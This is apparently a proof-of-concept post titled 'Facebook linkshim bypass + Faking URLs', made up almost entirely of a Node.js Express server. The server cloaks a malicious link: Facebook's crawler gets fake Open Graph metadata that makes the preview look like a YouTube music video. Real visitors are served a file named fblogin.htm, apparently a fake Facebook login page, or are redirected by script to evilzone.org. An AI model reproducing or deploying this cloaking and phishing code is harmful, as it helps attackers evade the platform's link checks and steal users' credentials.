Facebook linkshim bypass + Faking URLs

https://www.youtube.com/watch?time_continue=4&v=qWMXBW9k130

###########################################################

const express = require('express')
const app = express()

app.get('/test', function (req, res) {
  console.log(req.headers['user-agent']);
  if (req.headers['user-agent'].includes('facebook')) {
    console.log('Facebook bot detected, returning fake HTML without malicious code');
    res.send(`<html><head>
              <link href='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' rel='image_src'/>
              <meta content='https://www.youtube.com/watch?v=CTFtOOh47oo' property='og:url'/>
              <meta content='French Montana - Unforgettable ft. Swae Lee' property='og:title'/>
              <meta content='\"Unforgettable\" ft. Swae Lee Available at iTunes: http://smarturl.it/Unforgettable_fiTunes ...' property='og:description'/>
              <meta content='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' property='og:image'/>
            </head>
            <br>Hello world</html>`)
  }
  else {
    res.sendFile('/root/barak/node/fblogin.htm')
  }
})

app.get('/fb', function (req, res) {
  console.log(req.headers['user-agent']);
  if (req.headers['user-agent'].includes('facebook')) {
    console.log('facebook found');
    res.send(`<html><head>
              <link href='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' rel='image_src'/>
              <meta content='https://www.youtube.com/watch?v=CTFtOOh47oo' property='og:url'/>
              <meta content='French Montana - Unforgettable ft. Swae Lee' property='og:title'/>
              <meta content='\"Unforgettable\" ft. Swae Lee Available at iTunes: http://smarturl.it/Unforgettable_fiTunes ...' property='og:description'/>
              <meta content='https://i.ytimg.com/vi/CTFtOOh47oo/maxresdefault.jpg' property='og:image'/>
            </head>
            <br>Hello world</html>`)
  }
  else {
    res.send('<script>document.location="http://evilzone.org/"</script>')
  }
})

app.listen(80, function () {
  console.log('listening on port 80!')
})